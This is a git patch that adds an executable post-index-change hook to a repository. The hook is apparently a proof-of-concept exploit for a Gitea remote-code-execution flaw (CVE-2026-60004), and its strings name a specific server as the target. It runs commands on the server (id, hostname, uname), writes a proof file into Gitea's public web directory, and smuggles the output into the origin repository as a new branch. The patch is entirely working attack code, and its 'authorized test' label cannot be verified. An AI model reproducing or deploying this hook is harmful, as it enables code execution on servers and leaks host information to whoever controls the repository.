From e358953271de3d4b3c52b357f53ed3dcbc008e3f Mon Sep 17 00:00:00 2001 From: poc3nievxyc Date: Wed, 28 Oct 2026 12:43:33 +0000 Subject: [PATCH] apply-1 --- hooks/post-index-change | 14 ++++++++++++++ 1 file changed, 14 insertions(+) create mode 100755 hooks/post-index-change diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000..28249bb --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1,14 @@ +#!/bin/sh +git_dir=$(git rev-parse --absolute-git-dir) || exit 1 +origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2 +case "$origin_objects" in + /*) ;; + *) origin_objects="$git_dir/objects/$origin_objects" ;; +esac +origin_git=${origin_objects%/objects} +[ "$origin_git" != "$origin_objects" ] || exit 3 +output_blob=$( { mkdir -p /data/gitea/custom/public && printf 'RCE PROOF (authorized test)\nCVE: CVE-2026-60004\nAsset: comcam-gitea.groupe-madia.cm (Gitea 1.24.4)\nDate(UTC): %s\nResult: %s\nHost: %s\nKernel: %s\nPath: /data/gitea/custom/public/rce-proof.txt\n' "$(date -u +%Y-%m-%dT%H:%M:%SZ)" "$(id)" "$(hostname)" "$(uname -sr)" > /data/gitea/custom/public/rce-proof.txt; echo "== yazildi =="; ls -la /data/gitea/custom/public/; sha256sum /data/gitea/custom/public/rce-proof.txt ; } 2>&1 | git --git-dir="$origin_git" hash-object -w --stdin) || exit 4 +tree=$(printf "100644 blob %s\tproof\n" "$output_blob" | git --git-dir="$origin_git" mktree) || exit 5 +commit=$(printf "rce proof\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir="$origin_git" commit-tree "$tree") || exit 6 +git --git-dir="$origin_git" update-ref refs/heads/rce-proof "$commit" || exit 7 +exit 0